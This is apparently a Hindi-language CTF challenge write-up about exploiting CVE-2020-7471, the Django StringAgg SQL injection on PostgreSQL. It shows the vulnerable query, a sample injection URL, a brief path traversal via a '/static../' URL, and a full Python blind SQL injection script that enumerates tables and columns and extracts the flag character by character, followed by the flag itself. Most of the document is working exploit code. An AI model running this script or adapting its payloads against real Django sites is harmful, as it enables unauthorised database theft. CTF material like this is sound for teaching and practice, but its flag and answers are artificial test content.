
CTF चुनौती जो CVE-2020-7471 का शोषण करती है, PostgreSQL StringAgg में Django SQL इंजेक्शन भेद्यता, Docker सेटअप और एक्सप्लॉइट स्क्रिप्ट के साथ।
आमतौर पर वेब हैकर्स mysql पर SQL Injection का अध्ययन करते हैं, इसलिए मैंने postgresql का उपयोग करके एक इंजेक्शन समस्या बनाई ताकि विभिन्न डेटाबेस पर हमलों का अनुभव किया जा सके।
Django सेवा में उत्पन्न हुई कमजोरी के कारण, संकेत देने के लिए
HTTP प्रतिक्रिया में Version नामक एक कस्टम हेडर जोड़ा गया, जिसमें
Django, Postgres संस्करण का उल्लेख किया गया। Django 3.0.1 संस्करण में होने वाली SQL Injection कमजोरी की खोज करने पर सार्वजनिक POC कोड आदि उपलब्ध हैं।

वेबसाइट पर पहुँचने पर पोस्ट सूची प्रदर्शित होती है

बाईं ओर के नंबर पर क्लिक करने पर उस पोस्ट के pk और content मान के आधार पर पोस्ट देखी जाती है

वास्तविक बैकएंड कोड
results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
custom_field=StringAgg('content', delimiter=content)).all()
StringAgg फ़ंक्शन स्ट्रिंग को डिलीमीटर के साथ जोड़कर लौटाता है, लेकिन इस इनपुट मान के लिए कोई इनपुट सत्यापन नहीं है, इसलिए content भाग में इंजेक्शन पेलोड डाला जा सकता है।
http:///vul/1/?content=-\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --
Path Traversal कमजोरी उत्पन्न हुई
http://118.67.135.137/static../ URL तक पहुँचने के बाद सर्वर की सभी फ़ाइलों तक पहुँच संभव हो गई, जिससे बैकअप डंप फ़ाइल पढ़कर फ़्लैग प्राप्त हुआCVE-2020-7471
Django संस्करण 1.11, 2.2, 3.0.x ≤ 3.0.2 में पाई गई
SQL Injection कमजोरी CVE-2020-7471 का उपयोग कर समस्या
postgresql संबंधी फ़ंक्शनों में से StringAgg फ़ंक्शन से संबंधित कोड में
तर्क मान जाँच सुविधा की कमी के कारण उत्पन्न कमजोरी
import requests
server = "http://118.67.135.137/post/"
id = 1
content_param = f"/?content="
content = "IS_FREE!"
def exists_check(content):
"""प्रतिक्रिया मान जाँच फ़ंक्शन"""
if "title" in str(content):
return True
else:
return False
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Host": "127.0.0.1:8000",
"Pragma": "no-cache",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}
def get_table_info_from_information_schema():
# तालिकाओं की संख्या जाँच
table_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
table_count = table_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_count = table_count - 1
table_count_get = True
# तालिका सूची निकालें
table_row_list = []
# public तालिकाओं की संख्या के अनुसार लूप
for table_row in range(0,table_count):
# तालिका नाम की लंबाई जाँच
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
# तालिका नाम के आकार के अनुसार लूप
table_name = ""
for i in range(0,table_name_size):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_name = table_name+str(chr(ascii))
break
table_row_list.append(table_name)
print(table_row_list)
def get_column_info_from_information_schema():
vul_flag_column_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
#time.sleep(1)
vul_flag_column_count = vul_flag_column_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
vul_flag_column_count = vul_flag_column_count - 1
table_count_get = True
column_name_list = []
for i in range(0,vul_flag_column_count):
# तालिका नाम की लंबाई जाँच
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
#vul_flag तालिका के स्तंभ का नाम जाँच
column_name = ""
for j in range(1,table_name_size+1):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
column_name = column_name+str(chr(ascii))
break
column_name_list.append(column_name)
print(column_name_list)
def get_flag_from_flag_table():
for flag_length in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20length(string_agg(vul_flag.flag,%20%27%27))%20FROM%20vul_flag)%20<=%20{flag_length}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
flag = ""
for j in range(1,flag_length+1):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(flag)%20as%20cnt%20FROM%20vul_flag%20offset%200%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
flag = flag+str(chr(ascii))
break
print(flag)
# इनफार्मेशन स्कीमा से तालिका जानकारी निकालें
#get_table_info_from_information_schema()
# तालिका का नाम पता चलने के बाद इनफार्मेशन स्कीमा से स्तंभ जानकारी निकालें
#get_column_info_from_information_schema()
# स्तंभ जानकारी के आधार पर फ़्लैग मान निकालें
get_flag_from_flag_table()
D033Y_!S_L0N3LY
make build
make up